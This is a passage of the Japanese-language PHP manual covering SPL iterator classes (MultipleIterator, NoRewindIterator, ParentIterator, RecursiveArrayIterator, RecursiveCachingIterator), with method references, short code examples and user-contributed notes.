イテレータをデタッチします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

iterator

デタッチするイテレータ。

返り値

値を返しません。

参考

  • MultipleIterator::attachIterator() - イテレータの情報をアタッチする

User Contributed Notes

There are no user contributed notes for this page.


フラグの情報を取得する

  • ≪ MultipleIterator::detachIterator
  • MultipleIterator::key ≫
  • PHP Manual
  • MultipleIterator
  • フラグの情報を取得する

MultipleIterator::getFlags

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::getFlags — フラグの情報を取得する

説明

public MultipleIterator::getFlags ( ) : int

フラグについての情報を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

フラグについての情報を int で返します。

参考

  • フラグ定数
  • MultipleIterator::__construct() - 新しい MultipleIterator を作成する
  • MultipleIterator::setFlags() - フラグを設定する

User Contributed Notes

There are no user contributed notes for this page.


登録されているイテレータインスタンスを取得する

  • ≪ MultipleIterator::getFlags
  • MultipleIterator::next ≫
  • PHP Manual
  • MultipleIterator
  • 登録されているイテレータインスタンスを取得する

MultipleIterator::key

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::key — 登録されているイテレータインスタンスを取得する

説明

public MultipleIterator::key ( ) : array

登録されているイテレータインスタンスの key() の結果を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

登録されているイテレータインスタンスを取得しますの配列を返します。 サブイテレータがアタッチされていない場合は false を返します。

エラー / 例外

モード MIT_NEED_ALL が設定されているときは、 アタッチされているイテレータの中にひとつでも無効なものがあれば LogicException が発生します。

このメソッドを foreach から呼ぶと、 警告 "Illegal type returned" が発生します。

参考

  • MultipleIterator::current() - 登録されているイテレータインスタンスを取得する

User Contributed Notes

There are no user contributed notes for this page.


アタッチしているすべてのイテレータインスタンスを次に移動させる

  • ≪ MultipleIterator::key
  • MultipleIterator::rewind ≫
  • PHP Manual
  • MultipleIterator
  • アタッチしているすべてのイテレータインスタンスを次に移動させる

MultipleIterator::next

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::next — アタッチしているすべてのイテレータインスタンスを次に移動させる

説明

public MultipleIterator::next ( ) : void

アタッチしているすべてのイテレータインスタンスを次に移動させます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • MultipleIterator::rewind() - アタッチしているすべてのイテレータインスタンスを巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


アタッチしているすべてのイテレータインスタンスを巻き戻す

  • ≪ MultipleIterator::next
  • MultipleIterator::setFlags ≫
  • PHP Manual
  • MultipleIterator
  • アタッチしているすべてのイテレータインスタンスを巻き戻す

MultipleIterator::rewind

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::rewind — アタッチしているすべてのイテレータインスタンスを巻き戻す

説明

public MultipleIterator::rewind ( ) : void

アタッチしているすべてのイテレータインスタンスを巻き戻します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • MultipleIterator::next() - アタッチしているすべてのイテレータインスタンスを次に移動させる

User Contributed Notes

There are no user contributed notes for this page.


フラグを設定する

  • ≪ MultipleIterator::rewind
  • MultipleIterator::valid ≫
  • PHP Manual
  • MultipleIterator
  • フラグを設定する

MultipleIterator::setFlags

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::setFlags — フラグを設定する

説明

public MultipleIterator::setFlags ( int $flags ) : void

フラグを設定します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

flags

設定するフラグ。 フラグ定数 を参照ください。

返り値

値を返しません。

参考

  • フラグ定数
  • MultipleIterator::__construct() - 新しい MultipleIterator を作成する
  • MultipleIterator::getFlags() - フラグの情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


サブイテレータの有効性を調べる

  • ≪ MultipleIterator::setFlags
  • NoRewindIterator ≫
  • PHP Manual
  • MultipleIterator
  • サブイテレータの有効性を調べる

MultipleIterator::valid

(PHP 5 >= 5.3.0, PHP 7)

MultipleIterator::valid — サブイテレータの有効性を調べる

説明

public MultipleIterator::valid ( ) : bool

サブイテレータの有効性を調べます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

サブイテレータのひとつあるいはすべて (フラグによって異なります) が有効な場合に true、 それ以外の場合に false を返します。

参考

  • MultipleIterator::__construct() - 新しい MultipleIterator を作成する

User Contributed Notes

There are no user contributed notes for this page.


NoRewindIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

このイテレータは巻き戻しの操作を無視します。 これにより、一部のみを走査する 複数の foreach ループでイテレータを処理することが可能になります。

クラス概要

NoRewindIterator extends IteratorIterator {
/* メソッド */
public __construct ( Iterator $iterator )
public current ( ) : mixed
public getInnerIterator ( ) : iterator
public key ( ) : mixed
public next ( ) : void
public rewind ( ) : void
public valid ( ) : bool
/* 継承したメソッド */
public IteratorIterator::__construct ( Traversable $iterator )
public IteratorIterator::current ( ) : mixed
public IteratorIterator::getInnerIterator ( ) : Traversable
public IteratorIterator::key ( ) : mixed
public IteratorIterator::next ( ) : void
public IteratorIterator::rewind ( ) : void
public IteratorIterator::valid ( ) : bool
}

目次

  • NoRewindIterator::__construct — NoRewindIterator を作成する
  • NoRewindIterator::current — 現在の値を取得する
  • NoRewindIterator::getInnerIterator — 内部イテレータを取得する
  • NoRewindIterator::key — 現在のキーを取得する
  • NoRewindIterator::next — 次の要素に移動する
  • NoRewindIterator::rewind — 内部イテレータの巻き戻し操作を阻止する
  • NoRewindIterator::valid — イテレータの有効性を検証する

User Contributed Notes

Anonymous 25-Apr-2020 10:18
As its name implies, NoRewindIterator doesn't invoke the "rewind" method when It reaches the end of the iterator.

Let's demonstrate it by two examles.

In this example the "rewind" method will be invoked after when the "foreache" reaches its end, so, we can repeat printing the same values as many times as we want:

<?PHP
$iterator = new ArrayIterator(['PHP', 'Python', 'Go']);

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}
?>

By using the NoRewindIterator, the "rewind" won't be invoked, so, we can't do as we did in previous example:

<?PHP
$iterator = new ArrayIterator(['PHP', 'Python', 'Go']);
$iterator = new NoRewindIterator($iterator);

foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

// doesn't do anything
foreach ($iterator as $item) {
    echo $item.PHP_EOL;
}

?>


NoRewindIterator を作成する

  • ≪ NoRewindIterator
  • NoRewindIterator::current ≫
  • PHP Manual
  • NoRewindIterator
  • NoRewindIterator を作成する

NoRewindIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

NoRewindIterator::__construct — NoRewindIterator を作成する

説明

public NoRewindIterator::__construct ( Iterator $iterator )

NoRewindIterator を作成します。

パラメータ

iterator

使用するイテレータ。

返り値

渡されたイテレータにもとづく NoRewindIterator() を返します。

例

例1 NoRewindIterator::__construct() の例

二番目のループは何も出力しません。 このイテレータは一度しか使えず、巻き戻しされないからです。

<?php
$fruit = array('apple', 'banana', 'cranberry');

$arr = new ArrayObject($fruit);
$it  = new NoRewindIterator($arr->getIterator());

echo "Fruit A:\n";
foreach( $it as $item ) {
    echo $item . "\n";
}

echo "Fruit B:\n";
foreach( $it as $item ) {
    echo $item . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

Fruit A:
apple
banana
cranberry
Fruit B:

参考

  • NoRewindIterator::valid() - イテレータの有効性を検証する

User Contributed Notes

There are no user contributed notes for this page.


現在の値を取得する

  • ≪ NoRewindIterator::__construct
  • NoRewindIterator::getInnerIterator ≫
  • PHP Manual
  • NoRewindIterator
  • 現在の値を取得する

NoRewindIterator::current

(PHP 5 >= 5.1.0, PHP 7)

NoRewindIterator::current — 現在の値を取得する

説明

public NoRewindIterator::current ( ) : mixed

現在の値を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在の値を返します。

参考

  • NoRewindIterator::key() - 現在のキーを取得する

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータを取得する

  • ≪ NoRewindIterator::current
  • NoRewindIterator::key ≫
  • PHP Manual
  • NoRewindIterator
  • 内部イテレータを取得する

NoRewindIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7)

NoRewindIterator::getInnerIterator — 内部イテレータを取得する

説明

public NoRewindIterator::getInnerIterator ( ) : iterator

内部イテレータを取得します。これは NoRewindIterator に渡されたものです。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

NoRewindIterator::__construct() で渡した内部イテレータを返します。

参考

  • NoRewindIterator::valid() - イテレータの有効性を検証する

User Contributed Notes

There are no user contributed notes for this page.


現在のキーを取得する

  • ≪ NoRewindIterator::getInnerIterator
  • NoRewindIterator::next ≫
  • PHP Manual
  • NoRewindIterator
  • 現在のキーを取得する

NoRewindIterator::key

(PHP 5 >= 5.1.0, PHP 7)

NoRewindIterator::key — 現在のキーを取得する

説明

public NoRewindIterator::key ( ) : mixed

現在のキーを取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

現在のキーを返します。

参考

  • NoRewindIterator::next() - 次の要素に移動する

User Contributed Notes

There are no user contributed notes for this page.


次の要素に移動する

  • ≪ NoRewindIterator::key
  • NoRewindIterator::rewind ≫
  • PHP Manual
  • NoRewindIterator
  • 次の要素に移動する

NoRewindIterator::next

(PHP 5 >= 5.1.0, PHP 7)

NoRewindIterator::next — 次の要素に移動する

説明

public NoRewindIterator::next ( ) : void

次の要素に移動します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • NoRewindIterator::rewind() - 内部イテレータの巻き戻し操作を阻止する

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータの巻き戻し操作を阻止する

  • ≪ NoRewindIterator::next
  • NoRewindIterator::valid ≫
  • PHP Manual
  • NoRewindIterator
  • 内部イテレータの巻き戻し操作を阻止する

NoRewindIterator::rewind

(PHP 5 >= 5.1.0, PHP 7)

NoRewindIterator::rewind — 内部イテレータの巻き戻し操作を阻止する

説明

public NoRewindIterator::rewind ( ) : void

内部イテレータの巻き戻し操作を阻止します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 NoRewindIterator::rewind() の例

この例は、NoRewindIterator オブジェクトで rewind をコールしても何も起こらないことを示します。

<?php
$fruits = array("lemon", "orange", "apple", "pear");

$noRewindIterator = new NoRewindIterator(new ArrayIterator($fruits));

echo $noRewindIterator->current() . "\n";
$noRewindIterator->next();
// イテレータを巻き戻します (何も起こりません)
$noRewindIterator->rewind();
echo $noRewindIterator->current() . "\n";
?>

上の例の出力は以下となります。

lemon
orange

User Contributed Notes

There are no user contributed notes for this page.


イテレータの有効性を検証する

  • ≪ NoRewindIterator::rewind
  • ParentIterator ≫
  • PHP Manual
  • NoRewindIterator
  • イテレータの有効性を検証する

NoRewindIterator::valid

(PHP 5 >= 5.1.0, PHP 7)

NoRewindIterator::valid — イテレータの有効性を検証する

説明

public NoRewindIterator::valid ( ) : bool

イテレータが有効かどうかを調べます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • NoRewindIterator::getInnerIterator() - 内部イテレータを取得する

User Contributed Notes

There are no user contributed notes for this page.


ParentIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

これは FilterIterator を継承したクラスで、 RecursiveIteratorIterator を使った再帰的な反復処理をできるようにします。 ただし、子を持つ要素しか表示しません。

クラス概要

ParentIterator extends RecursiveFilterIterator implements RecursiveIterator , OuterIterator {
/* メソッド */
public accept ( ) : bool
public __construct ( RecursiveIterator $iterator )
public getChildren ( ) : ParentIterator
public hasChildren ( ) : bool
public next ( ) : void
public rewind ( ) : void
/* 継承したメソッド */
public OuterIterator::getInnerIterator ( ) : Iterator
}

目次

  • ParentIterator::accept — 受け入れ可能かどうかを調べる
  • ParentIterator::__construct — ParentIterator を作成する
  • ParentIterator::getChildren — ParentIterator に含まれる内部イテレータの子を返す
  • ParentIterator::hasChildren — 内部イテレータの現在の要素が子を持つかどうかをチェックする
  • ParentIterator::next — イテレータを前に移動する
  • ParentIterator::rewind — イテレータを巻き戻す

User Contributed Notes

dn dot permyakov at gmail dot com 12-May-2019 11:24
Easy example for understanding:
<?php

$iterator = new ParentIterator(
    new RecursiveArrayIterator(
        array(array(1, 2, 3), 'A', 'B', 'C')
    )
);

foreach ($iterator as $recursive) {
    foreach ($recursive as $value) {
        echo $value . PHP_EOL;
    }
}
?>

1
2
3
Anonymous 19-Dec-2011 07:55
ParentIterator is just a RecursiveFilterIterator whos accept() method calls the RecursiveFilterIterator->hasChildren() method to filter itself.

Basically, it filters out leaf nodes. For example

This would yield all files and directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
?>

wrapping that in a ParentIterator would filter it down to just directories
<?php
$rdi = new RecursiveDirectoryIterator(__DIR__);
$iter = new RecursiveIteratorIterator($rdi, RecursiveIteratorIterator::CHILD_FIRST);
$dirsOnly = new ParentIterator($iter);
?>


受け入れ可能かどうかを調べる

  • ≪ ParentIterator
  • ParentIterator::__construct ≫
  • PHP Manual
  • ParentIterator
  • 受け入れ可能かどうかを調べる

ParentIterator::accept

(PHP 5 >= 5.1.0, PHP 7)

ParentIterator::accept — 受け入れ可能かどうかを調べる

説明

public ParentIterator::accept ( ) : bool

現在の要素が子を持っているかどうかを調べます。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

受け入れ可能な場合に true、それ以外の場合に false を返します。

参考

  • ParentIterator::hasChildren() - 内部イテレータの現在の要素が子を持つかどうかをチェックする
  • FilterIterator::accept() - イテレータの現在の要素がフィルタを満たすかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


ParentIterator を作成する

  • ≪ ParentIterator::accept
  • ParentIterator::getChildren ≫
  • PHP Manual
  • ParentIterator
  • ParentIterator を作成する

ParentIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

ParentIterator::__construct — ParentIterator を作成する

説明

public ParentIterator::__construct ( RecursiveIterator $iterator )

イテレータ上に ParentIterator を作成します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

iterator

作成する元となるイテレータ。

返り値

ParentIterator を返します。

User Contributed Notes

There are no user contributed notes for this page.


ParentIterator に含まれる内部イテレータの子を返す

  • ≪ ParentIterator::__construct
  • ParentIterator::hasChildren ≫
  • PHP Manual
  • ParentIterator
  • ParentIterator に含まれる内部イテレータの子を返す

ParentIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7)

ParentIterator::getChildren — ParentIterator に含まれる内部イテレータの子を返す

説明

public ParentIterator::getChildren ( ) : ParentIterator

ParentIterator に含まれる内部イテレータの子を取得します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータの現在の要素が子を持つかどうかをチェックする

  • ≪ ParentIterator::getChildren
  • ParentIterator::next ≫
  • PHP Manual
  • ParentIterator
  • 内部イテレータの現在の要素が子を持つかどうかをチェックする

ParentIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7)

ParentIterator::hasChildren — 内部イテレータの現在の要素が子を持つかどうかをチェックする

説明

public ParentIterator::hasChildren ( ) : bool

内部イテレータの現在の要素が子を持つかどうかをチェックします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


イテレータを前に移動する

  • ≪ ParentIterator::hasChildren
  • ParentIterator::rewind ≫
  • PHP Manual
  • ParentIterator
  • イテレータを前に移動する

ParentIterator::next

(PHP 5 >= 5.1.0, PHP 7)

ParentIterator::next — イテレータを前に移動する

説明

public ParentIterator::next ( ) : void

イテレータを前に移動します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


イテレータを巻き戻す

  • ≪ ParentIterator::next
  • RecursiveArrayIterator ≫
  • PHP Manual
  • ParentIterator
  • イテレータを巻き戻す

ParentIterator::rewind

(PHP 5 >= 5.1.0, PHP 7)

ParentIterator::rewind — イテレータを巻き戻す

説明

public ParentIterator::rewind ( ) : void

イテレータを巻き戻します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


RecursiveArrayIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

このイテレータは、ArrayIterator と同じように配列やオブジェクトを反復処理しつつ、 そのキーや値を消去したり書き換えたりすることができます。 さらに、現在のイテレータのエントリを反復処理することも可能です。

クラス概要

RecursiveArrayIterator extends ArrayIterator implements RecursiveIterator {
/* 継承した定数 */
const int STD_PROP_LIST = 1 ;
const int ARRAY_AS_PROPS = 2 ;
/* 定数 */
const int CHILD_ARRAYS_ONLY = 4 ;
/* メソッド */
public getChildren ( ) : RecursiveArrayIterator
public hasChildren ( ) : bool
/* Inherits */
public ArrayIterator::append ( mixed $value ) : void
public ArrayIterator::asort ( ) : void
public ArrayIterator::__construct ( mixed $array = array() , int $flags = 0 )
public ArrayIterator::count ( ) : int
public ArrayIterator::current ( ) : mixed
public ArrayIterator::getArrayCopy ( ) : array
public ArrayIterator::getFlags ( ) : int
public ArrayIterator::key ( ) : mixed
public ArrayIterator::ksort ( ) : void
public ArrayIterator::natcasesort ( ) : void
public ArrayIterator::natsort ( ) : void
public ArrayIterator::next ( ) : void
public ArrayIterator::offsetExists ( mixed $index ) : bool
public ArrayIterator::offsetGet ( mixed $index ) : mixed
public ArrayIterator::offsetSet ( mixed $index , mixed $newval ) : void
public ArrayIterator::offsetUnset ( mixed $index ) : void
public ArrayIterator::rewind ( ) : void
public ArrayIterator::seek ( int $position ) : void
public ArrayIterator::serialize ( ) : string
public ArrayIterator::setFlags ( string $flags ) : void
public ArrayIterator::uasort ( callable $cmp_function ) : void
public ArrayIterator::uksort ( callable $cmp_function ) : void
public ArrayIterator::unserialize ( string $serialized ) : void
public ArrayIterator::valid ( ) : bool
}

定義済み定数

RecursiveArrayIterator フラグ

RecursiveArrayIterator::CHILD_ARRAYS_ONLY

(オブジェクトではなく)配列のみが、再帰的な走査が可能な子を持つと見なす

変更履歴

バージョン | 説明
5.3.0 | CHILD_ARRAYS_ONLY フラグが追加されました。

目次

  • RecursiveArrayIterator::getChildren — 現在のエントリが配列あるいはオブジェクトである場合に、そのイテレータを返す
  • RecursiveArrayIterator::hasChildren — 現在のエントリが配列あるいはオブジェクトであるかどうかを返す

User Contributed Notes

lemoinem dot remove at me dot mlemoine dot name 12-Dec-2013 10:29
The RecursiveArrayOnlyIterator behaviour c dot 1 at smithies dot org presented can also be achieved using the (undocumented) flag RecursiveArrayIterator::CHILD_ARRAYS_ONLY (https://github.com/php/php-src/blob/master/ext/spl/spl_array.c#L1970 and https://github.com/php/php-src/blob/master/ext/spl/spl_array.c#L1620)
c dot 1 at smithies dot org 15-Nov-2011 10:29
If you are iterating over a multi-dimensional array of objects, you may be tempted to use a RecursiveArrayIterator within a RecursiveIteratorIterator. You are likely to get baffling results if you do. That is because RecursiveArrayIterator treats all objects as having children, and tries to recurse into them. But if you are interested in having your RecursiveIteratorIterator return the objects in your multi-dimensional array, then you don't want the default setting LEAVES_ONLY, because no object can be a leaf (= has no children).

The solution is to extend the RecursiveArrayIterator class and override the hasChildren method appropriately. Something like the following might be suitable:

<?php
class RecursiveArrayOnlyIterator extends RecursiveArrayIterator {
  public function hasChildren() {
    return is_array($this->current());
  }
}
?>
Of course, this simple example will not recurse into ArrayObjects either!
mccarthy dot richard at gmail dot com 22-Feb-2011 07:23
Using the RecursiveArrayIterator to traverse an unknown amount of sub arrays within the outer array. Note: This functionality is already provided by using the RecursiveIteratorIterator but is useful in understanding how to use the iterator when using for the first time as all the terminology does get rather confusing at first sight of SPL!

<?php
$myArray = array(
    0 => 'a',
    1 => array('subA','subB',array(0 => 'subsubA', 1 => 'subsubB', 2 => array(0 => 'deepA', 1 => 'deepB'))),
    2 => 'b',
    3 => array('subA','subB','subC'),
    4 => 'c'
);

$iterator = new RecursiveArrayIterator($myArray);
iterator_apply($iterator, 'traverseStructure', array($iterator));

function traverseStructure($iterator) {

    while ( $iterator -> valid() ) {

        if ( $iterator -> hasChildren() ) {

            traverseStructure($iterator -> getChildren());

        }
        else {
            echo $iterator -> key() . ' : ' . $iterator -> current() .PHP_EOL;
        }

        $iterator -> next();
    }
}
?>

The output from which is:
0 : a
0 : subA
1 : subB
0 : subsubA
1 : subsubB
0 : deepA
1 : deepB
2 : b
0 : subA
1 : subB
2 : subC
4 : c


現在のエントリが配列あるいはオブジェクトである場合に、そのイテレータを返す

  • ≪ RecursiveArrayIterator
  • RecursiveArrayIterator::hasChildren ≫
  • PHP Manual
  • RecursiveArrayIterator
  • 現在のエントリが配列あるいはオブジェクトである場合に、そのイテレータを返す

RecursiveArrayIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveArrayIterator::getChildren — 現在のエントリが配列あるいはオブジェクトである場合に、そのイテレータを返す

説明

public RecursiveArrayIterator::getChildren ( ) : RecursiveArrayIterator

現在のエントリのイテレータを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のエントリが配列あるいはオブジェクトである場合に、そのイテレータを返します。

エラー / 例外

現在のエントリが配列やオブジェクトではない場合に InvalidArgumentException をスローします。

例

例1 RecursiveArrayIterator::getChildren() の例

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

    if ($iterator->hasChildren()) {
        // すべての子を表示します
        foreach ($iterator->getChildren() as $key => $value) {
            echo $key . ' : ' . $value . "\n";
        }
    } else {
        echo "No children.\n";
    }

    $iterator->next();
}
?>

上の例の出力は以下となります。

No children.
No children.
a : apple
p : pear

参考

  • RecursiveArrayIterator::hasChildren() - 現在のエントリが配列あるいはオブジェクトであるかどうかを返す

User Contributed Notes

814ckf0x 05-Mar-2014 08:44
RecursiveArrayIterator::getChildrens returns a copy of the children, not a reference:
<?php
$stack = array ("some" => "value",
                array ("subsome" => "subvalue", array ("subsubsome" => "subsubvalue")),
                "some1" => "value1");

$object = new RecursiveArrayIterator ($stack);
$object->next ();
$second_object = &$object->getChildren ();

$second_object->next ();

$third_object = &$second_object->getChildren ();

$third_object->offsetSet ("subsubsome", "subsubdiferent");

var_dump ($object);
var_dump ($second_object);
var_dump ($third_object);
?>

returns:

object(RecursiveArrayIterator)#1 (1) {
  ["storage":"ArrayIterator":private]=>
  array(3) {
    ["some"]=>
    string(5) "value"
    [0]=>
    array(2) {
      ["subsome"]=>
      string(8) "subvalue"
      [0]=>
      array(1) {
        ["subsubsome"]=>
        string(11) "subsubvalue" <--- expected to be changed
      }
    }
    ["some1"]=>
    string(6) "value1"
  }
}
object(RecursiveArrayIterator)#2 (1) {
  ["storage":"ArrayIterator":private]=>
  array(2) {
    ["subsome"]=>
    string(8) "subvalue"
    [0]=>
    array(1) {
      ["subsubsome"]=>
      string(11) "subsubvalue" <--- expected to be changed
    }
  }
}
object(RecursiveArrayIterator)#3 (1) {
  ["storage":"ArrayIterator":private]=>
  array(1) {
    ["subsubsome"]=>
    string(14) "subsubdiferent"
  }
}


現在のエントリが配列あるいはオブジェクトであるかどうかを返す

  • ≪ RecursiveArrayIterator::getChildren
  • RecursiveCachingIterator ≫
  • PHP Manual
  • RecursiveArrayIterator
  • 現在のエントリが配列あるいはオブジェクトであるかどうかを返す

RecursiveArrayIterator::hasChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveArrayIterator::hasChildren — 現在のエントリが配列あるいはオブジェクトであるかどうかを返す

説明

public RecursiveArrayIterator::hasChildren ( ) : bool

現在のエントリが配列あるいはオブジェクトであるかどうか、つまり RecursiveArrayIterator::getChildren() でイテレータを取得できるかどうかを返します。

パラメータ

この関数にはパラメータはありません。

返り値

現在のエントリが配列あるいはオブジェクトである場合に true、 それ以外の場合に false を返します。

例

例1 RecursiveArrayIterator::hasChildren() の例

<?php
$fruits = array("a" => "lemon", "b" => "orange", array("a" => "apple", "p" => "pear"));

$iterator = new RecursiveArrayIterator($fruits);

while ($iterator->valid()) {

    // 子を持つかどうかを調べます
    if ($iterator->hasChildren()) {
        // すべての子を表示します
        foreach ($iterator->getChildren() as $key => $value) {
            echo $key . ' : ' . $value . "\n";
        }
    } else {
        echo "No children.\n";
    }

    $iterator->next();
}
?>

上の例の出力は以下となります。

No children.
No children.
a : apple
p : pear

参考

  • RecursiveArrayIterator::getChildren() - 現在のエントリが配列あるいはオブジェクトである場合に、そのイテレータを返す

User Contributed Notes

Dominik 23-Jan-2015 11:20
hasChildren() works as documented here, but not as its name suggests.

The method does not return whether the current entry actually *has* children. It only returns whether the element's type is one that is able to have children.

This is a bit counterintuitive if you are processing empty arrays.

Example:

<?php
$data = array(
    "element one" => array(true),
    "element two" => array(),
    "element three" => array(true),
);

$i = new RecursiveIteratorIterator(new RecursiveArrayIterator($data),RecursiveIteratorIterator::SELF_FIRST);

foreach($i as $key => $value)
{
    $type = gettype($value);
    $depth = $i->getDepth();

    if($i->hasChildren()) {
        echo "$depth: $key ($type) has children\n";
    } else {
        echo "$depth: $key ($type) has no children\n";
    }
}
?>

Result:

0: element one (array) has children
1: 0 (boolean) has no children
0: element two (array) has children
0: element three (array) has children
1: 0 (boolean) has no children


RecursiveCachingIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

...

クラス概要

RecursiveCachingIterator extends CachingIterator implements Countable , ArrayAccess , OuterIterator , RecursiveIterator {
/* 継承した定数 */
const int CachingIterator::CALL_TOSTRING = 1 ;
const int CachingIterator::CATCH_GET_CHILD = 16 ;
const int CachingIterator::TOSTRING_USE_KEY = 2 ;
const int CachingIterator::TOSTRING_USE_CURRENT = 4 ;
const int CachingIterator::TOSTRING_USE_INNER = 8 ;
const int CachingIterator::FULL_CACHE = 256 ;
/* メソッド */
public __construct ( Iterator $iterator , int $flags = self::CALL_TOSTRING )
public getChildren ( ) : RecursiveCachingIterator
public hasChildren ( ) : bool
/* 継承 */
public CachingIterator::__construct ( Iterator $iterator , int $flags = self::CALL_TOSTRING )
public CachingIterator::count ( ) : int
public CachingIterator::current ( ) : mixed
public CachingIterator::getCache ( ) : array
public CachingIterator::getFlags ( ) : int
public CachingIterator::getInnerIterator ( ) : Iterator
public CachingIterator::hasNext ( ) : void
public CachingIterator::key ( ) : scalar
public CachingIterator::next ( ) : void
public CachingIterator::offsetExists ( mixed $index ) : void
public CachingIterator::offsetGet ( string $index ) : void
public CachingIterator::offsetSet ( mixed $index , mixed $newval ) : void
public CachingIterator::offsetUnset ( string $index ) : void
public CachingIterator::rewind ( ) : void
public CachingIterator::setFlags ( int $flags ) : void
public CachingIterator::__toString ( ) : void
public CachingIterator::valid ( ) : void
}

目次

  • RecursiveCachingIterator::__construct — コンストラクタ
  • RecursiveCachingIterator::getChildren — 内部イテレータの子を RecursiveCachingIterator として返す
  • RecursiveCachingIterator::hasChildren — 内部イテレータの現在の要素が子を持つかどうかチェックする

User Contributed Notes

There are no user contributed notes for this page.


コンストラクタ

  • ≪ RecursiveCachingIterator
  • RecursiveCachingIterator::getChildren ≫
  • PHP Manual
  • RecursiveCachingIterator
  • コンストラクタ

RecursiveCachingIterator::__construct

(PHP 5 >= 5.1.0, PHP 7)

RecursiveCachingIterator::__construct — コンストラクタ

説明

public RecursiveCachingIterator::__construct ( Iterator $iterator , int $flags = self::CALL_TOSTRING )

iterator で渡されたイテレータをもとにして新しい RecursiveCachingIterator を作成します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

iterator

使用するイテレータ。

flags

フラグ。CALL_TOSTRING は RecursiveCachingIterator::__toString() をすべての要素に対してコールします (デフォルト)。 CATCH_GET_CHILD は 子を取得しようとしたときに発生する例外を捕捉します。

返り値

RecursiveCachingIterator を返します。

参考

  • CachingIterator::__construct() - 新しい CachingIterator オブジェクトを作成する

User Contributed Notes

There are no user contributed notes for this page.


内部イテレータの子を RecursiveCachingIterator として返す

  • ≪ RecursiveCachingIterator::__construct
  • RecursiveCachingIterator::hasChildren ≫
  • PHP Manual
  • RecursiveCachingIterator
  • 内部イテレータの子を RecursiveCachingIterator として返す

RecursiveCachingIterator::getChildren

(PHP 5 >= 5.1.0, PHP 7)

RecursiveCachingIterator::getChildren — 内部イテレータの子を RecursiveCachingIterator として返す

説明

public RecursiveCachingIterator::getChildren ( ) : RecursiveCachingIterator
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

内部イテレータの子を RecursiveCachingIterator として返します。

User Contributed Notes

There are no user contributed notes for this page.


